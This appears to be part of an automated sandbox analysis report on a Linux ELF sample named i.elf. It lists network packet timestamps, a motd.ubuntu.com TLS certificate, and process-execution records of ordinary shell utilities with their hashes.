                                                                                                  Mar 20, 2025 11:44:09.600087881 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600091934 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.600122929 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600136042 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600145102 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.600145102 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.600173950 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600181103 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.600181103 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.600241899 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.601701021 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:09.830234051 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.272254944 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.272321939 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.272449017 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.443660021 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.512269020 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.512290955 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.512480021 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.512480021 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.518955946 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.562159061 CET42836443192.168.2.2391.189.91.43
                                                                                                  Mar 20, 2025 11:44:11.752398014 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.752434015 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:11.752479076 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:11.752479076 CET33608443192.168.2.2354.171.230.55
                                                                                                  Mar 20, 2025 11:44:13.098067999 CET4251680192.168.2.23109.202.202.202
                                                                                                  Mar 20, 2025 11:44:27.176155090 CET43928443192.168.2.2391.189.91.42
                                                                                                  Mar 20, 2025 11:44:37.414654016 CET42836443192.168.2.2391.189.91.43
                                                                                                  Mar 20, 2025 11:44:43.558144093 CET4251680192.168.2.23109.202.202.202
                                                                                                  Mar 20, 2025 11:45:08.130527973 CET43928443192.168.2.2391.189.91.42
                                                                                                  Mar 20, 2025 11:45:28.607696056 CET42836443192.168.2.2391.189.91.43
                                                                                                  TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                  Mar 20, 2025 11:44:09.600173950 CET54.171.230.55443192.168.2.2333608CN=motd.ubuntu.com CN=R11, O=Let's Encrypt, C=USCN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USSun Jan 05 09:21:36 CET 2025 Wed Mar 13 01:00:00 CET 2024Sat Apr 05 10:21:35 CEST 2025 Sat Mar 13 00:59:59 CET 2027
                                                                                                  CN=R11, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USWed Mar 13 01:00:00 CET 2024Sat Mar 13 00:59:59 CET 2027

                                                                                                  System Behavior

                                                                                                  Start time (UTC):10:44:07
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/tmp/i.elf
                                                                                                  Arguments:/tmp/i.elf
                                                                                                  File size:5777432 bytes
                                                                                                  MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/rm
                                                                                                  Arguments:rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbb
                                                                                                  File size:72056 bytes
                                                                                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/cat
                                                                                                  Arguments:cat /tmp/tmp.5NTQV6UWTk
                                                                                                  File size:43416 bytes
                                                                                                  MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/head
                                                                                                  Arguments:head -n 10
                                                                                                  File size:47480 bytes
                                                                                                  MD5 hash:fd96a67145172477dd57131396fc9608

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/tr
                                                                                                  Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                                                                  File size:51544 bytes
                                                                                                  MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/cut
                                                                                                  Arguments:cut -c -80
                                                                                                  File size:47480 bytes
                                                                                                  MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/cat
                                                                                                  Arguments:cat /tmp/tmp.5NTQV6UWTk
                                                                                                  File size:43416 bytes
                                                                                                  MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/head
                                                                                                  Arguments:head -n 10
                                                                                                  File size:47480 bytes
                                                                                                  MD5 hash:fd96a67145172477dd57131396fc9608

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/tr
                                                                                                  Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                                                                  File size:51544 bytes
                                                                                                  MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/cut
                                                                                                  Arguments:cut -c -80
                                                                                                  File size:47480 bytes
                                                                                                  MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/dash
                                                                                                  Arguments:-
                                                                                                  File size:129816 bytes
                                                                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                  Start time (UTC):10:44:10
                                                                                                  Start date (UTC):20/03/2025
                                                                                                  Path:/usr/bin/rm
                                                                                                  Arguments:rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbb
                                                                                                  File size:72056 bytes
                                                                                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b